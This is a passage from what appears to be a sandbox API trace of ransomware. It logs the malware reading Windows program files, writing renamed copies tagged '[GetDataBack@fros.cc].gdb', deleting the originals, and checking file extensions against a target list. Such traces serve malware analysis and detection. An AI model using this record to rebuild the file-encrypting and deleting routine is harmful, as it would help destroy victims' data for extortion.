Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0128.901] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0128.901] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0128.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0128.902] GetLastError () returned 0x0 [0128.902] ReadFile (in: hFile=0x1ec, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x1ac96, lpOverlapped=0x0) returned 1 [0128.905] WriteFile (in: hFile=0x204, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x1aca0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x1aca0, lpOverlapped=0x0) returned 1 [0128.908] ReadFile (in: hFile=0x1ec, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0128.908] WriteFile (in: hFile=0x204, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xe6, lpOverlapped=0x0) returned 1 [0128.908] SetEndOfFile (hFile=0x204) returned 1 [0128.909] CloseHandle (hObject=0x204) returned 1 [0128.909] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0128.909] SetEndOfFile (hFile=0x1ec) returned 1 [0128.910] CloseHandle (hObject=0x1ec) returned 1 [0128.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0128.911] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 1 [0128.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0128.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0128.911] lstrlenW (lpString=".doc") returned 4 [0128.911] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0128.911] lstrlenW (lpString=".docx") returned 5 [0128.911] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0128.911] lstrlenW (lpString=".pdf") returned 4 [0128.911] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0128.911] lstrlenW (lpString=".xls") returned 4 [0128.911] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0128.911] lstrlenW (lpString=".xlsx") returned 5 [0128.911] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0128.911] lstrlenW (lpString=".ppt") returned 4 [0128.911] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0128.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0128.912] lstrlenW (lpString=".zip") returned 4 [0128.912] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0128.912] lstrlenW (lpString=".rar") returned 4 [0128.912] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0128.912] lstrlenW (lpString=".bz2") returned 4 [0128.912] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0128.912] lstrlenW (lpString=".7z") returned 3 [0128.912] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0128.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0128.912] lstrlenW (lpString=".dbf") returned 4 [0128.912] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0128.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0128.912] lstrlenW (lpString=".1cd") returned 4 [0128.912] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0128.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0128.912] lstrlenW (lpString=".jpg") returned 4 [0128.912] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0128.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0128.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0128.912] lstrlenW (lpString=".doc") returned 4 [0128.912] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0128.912] lstrlenW (lpString=".docx") returned 5 [0128.912] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0128.912] lstrlenW (lpString=".pdf") returned 4 [0128.912] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0128.912] lstrlenW (lpString=".xls") returned 4 [0128.912] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0128.912] lstrlenW (lpString=".xlsx") returned 5 [0128.912] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0128.912] lstrlenW (lpString=".ppt") returned 4 [0128.912] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0128.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0128.913] lstrlenW (lpString=".zip") returned 4 [0128.913] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0128.913] lstrlenW (lpString=".rar") returned 4 [0128.913] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0128.913] lstrlenW (lpString=".bz2") returned 4 [0128.913] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0128.913] lstrlenW (lpString=".7z") returned 3 [0128.913] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0128.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0128.913] lstrlenW (lpString=".dbf") returned 4 [0128.913] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0128.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0128.913] lstrlenW (lpString=".1cd") returned 4 [0128.913] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0128.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0128.913] lstrlenW (lpString=".jpg") returned 4 [0128.913] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0128.914] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0128.914] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0128.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0128.915] GetLastError () returned 0x0 [0128.915] ReadFile (in: hFile=0x1ec, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x1195f, lpOverlapped=0x0) returned 1 [0128.918] WriteFile (in: hFile=0x204, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x11960, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x11960, lpOverlapped=0x0) returned 1 [0128.920] ReadFile (in: hFile=0x1ec, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0128.920] WriteFile (in: hFile=0x204, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0128.920] SetEndOfFile (hFile=0x204) returned 1 [0128.920] CloseHandle (hObject=0x204) returned 1 [0128.921] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0128.921] SetEndOfFile (hFile=0x1ec) returned 1 [0128.922] CloseHandle (hObject=0x1ec) returned 1 [0128.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0128.923] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 1 [0128.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0128.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0128.923] lstrlenW (lpString=".doc") returned 4 [0128.923] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0128.923] lstrlenW (lpString=".docx") returned 5 [0128.923] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0128.923] lstrlenW (lpString=".pdf") returned 4 [0128.923] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0128.923] lstrlenW (lpString=".xls") returned 4 [0128.923] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0128.923] lstrlenW (lpString=".xlsx") returned 5 [0128.923] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0128.993] lstrlenW (lpString=".ppt") returned 4 [0128.993] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0128.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0128.993] lstrlenW (lpString=".zip") returned 4 [0128.993] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0128.993] lstrlenW (lpString=".rar") returned 4 [0128.993] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0128.993] lstrlenW (lpString=".bz2") returned 4 [0128.993] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0128.993] lstrlenW (lpString=".7z") returned 3 [0128.993] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0128.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0128.993] lstrlenW (lpString=".dbf") returned 4 [0128.993] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0128.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0128.993] lstrlenW (lpString=".1cd") returned 4 [0128.993] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0128.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0128.993] lstrlenW (lpString=".jpg") returned 4 [0128.993] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0128.994] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0128.994] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0128.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0128.994] GetLastError () returned 0x0 [0128.994] ReadFile (in: hFile=0x220, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x1e434, lpOverlapped=0x0) returned 1 [0129.005] WriteFile (in: hFile=0x190, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x1e440, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x1e440, lpOverlapped=0x0) returned 1 [0129.017] ReadFile (in: hFile=0x220, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0129.017] WriteFile (in: hFile=0x190, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xe6, lpOverlapped=0x0) returned 1 [0129.017] SetEndOfFile (hFile=0x190) returned 1 [0129.018] CloseHandle (hObject=0x190) returned 1 [0129.018] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0129.018] SetEndOfFile (hFile=0x220) returned 1 [0129.019] CloseHandle (hObject=0x220) returned 1 [0129.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0129.020] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 1 [0129.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0129.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0129.020] lstrlenW (lpString=".doc") returned 4 [0129.020] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0129.020] lstrlenW (lpString=".docx") returned 5 [0129.020] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0129.020] lstrlenW (lpString=".pdf") returned 4 [0129.021] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0129.021] lstrlenW (lpString=".xls") returned 4 [0129.021] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0129.021] lstrlenW (lpString=".xlsx") returned 5 [0129.021] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0129.021] lstrlenW (lpString=".ppt") returned 4 [0129.021] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0129.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0129.021] lstrlenW (lpString=".zip") returned 4 [0129.021] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0129.021] lstrlenW (lpString=".rar") returned 4 [0129.021] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0129.021] lstrlenW (lpString=".bz2") returned 4 [0129.021] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0129.021] lstrlenW (lpString=".7z") returned 3 [0129.021] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0129.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0129.021] lstrlenW (lpString=".dbf") returned 4 [0129.021] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0129.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0129.021] lstrlenW (lpString=".1cd") returned 4 [0129.021] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0129.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0129.021] lstrlenW (lpString=".jpg") returned 4 [0129.021] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0129.070] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0129.070] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0129.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0129.070] GetLastError () returned 0x0 [0129.070] ReadFile (in: hFile=0x1b0, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x65c96, lpOverlapped=0x0) returned 1 [0129.093] WriteFile (in: hFile=0x1a8, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x65ca0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x65ca0, lpOverlapped=0x0) returned 1 [0129.102] ReadFile (in: hFile=0x1b0, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0129.102] WriteFile (in: hFile=0x1a8, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xe6, lpOverlapped=0x0) returned 1 [0129.102] SetEndOfFile (hFile=0x1a8) returned 1 [0129.103] CloseHandle (hObject=0x1a8) returned 1 [0129.103] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0129.103] SetEndOfFile (hFile=0x1b0) returned 1 [0129.107] CloseHandle (hObject=0x1b0) returned 1 [0129.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0129.108] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 1 [0129.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0129.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0129.108] lstrlenW (lpString=".doc") returned 4 [0129.108] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0129.108] lstrlenW (lpString=".docx") returned 5 [0129.108] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0129.108] lstrlenW (lpString=".pdf") returned 4 [0129.108] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0129.108] lstrlenW (lpString=".xls") returned 4 [0129.109] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0129.109] lstrlenW (lpString=".xlsx") returned 5 [0129.109] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0129.109] lstrlenW (lpString=".ppt") returned 4 [0129.109] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0129.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0129.109] lstrlenW (lpString=".zip") returned 4 [0129.109] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0129.109] lstrlenW (lpString=".rar") returned 4 [0129.109] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0129.109] lstrlenW (lpString=".bz2") returned 4 [0129.109] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0129.109] lstrlenW (lpString=".7z") returned 3 [0129.109] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0129.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0129.109] lstrlenW (lpString=".dbf") returned 4 [0129.109] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0129.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0129.109] lstrlenW (lpString=".1cd") returned 4 [0129.109] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0129.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0129.109] lstrlenW (lpString=".jpg") returned 4 [0129.109] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0131.585] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0131.585] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0131.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0131.585] GetLastError () returned 0x0 [0131.585] ReadFile (in: hFile=0x204, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x9a5b, lpOverlapped=0x0) returned 1 [0131.795] WriteFile (in: hFile=0x1fc, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x9a60, lpOverlapped=0x0) returned 1 [0131.796] ReadFile (in: hFile=0x204, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0131.796] WriteFile (in: hFile=0x1fc, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xe6, lpOverlapped=0x0) returned 1 [0131.796] SetEndOfFile (hFile=0x1fc) returned 1 [0131.796] CloseHandle (hObject=0x1fc) returned 1 [0131.796] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0131.797] SetEndOfFile (hFile=0x204) returned 1 [0131.797] CloseHandle (hObject=0x204) returned 1 [0131.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 1 [0131.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0131.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0131.799] lstrlenW (lpString=".doc") returned 4 [0131.799] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0131.799] lstrlenW (lpString=".docx") returned 5 [0131.799] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0131.799] lstrlenW (lpString=".pdf") returned 4 [0131.799] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0131.800] lstrlenW (lpString=".xls") returned 4 [0131.800] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0131.800] lstrlenW (lpString=".xlsx") returned 5 [0131.800] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0131.800] lstrlenW (lpString=".ppt") returned 4 [0131.800] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0131.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0131.800] lstrlenW (lpString=".zip") returned 4 [0131.800] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0131.800] lstrlenW (lpString=".rar") returned 4 [0131.800] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0131.800] lstrlenW (lpString=".bz2") 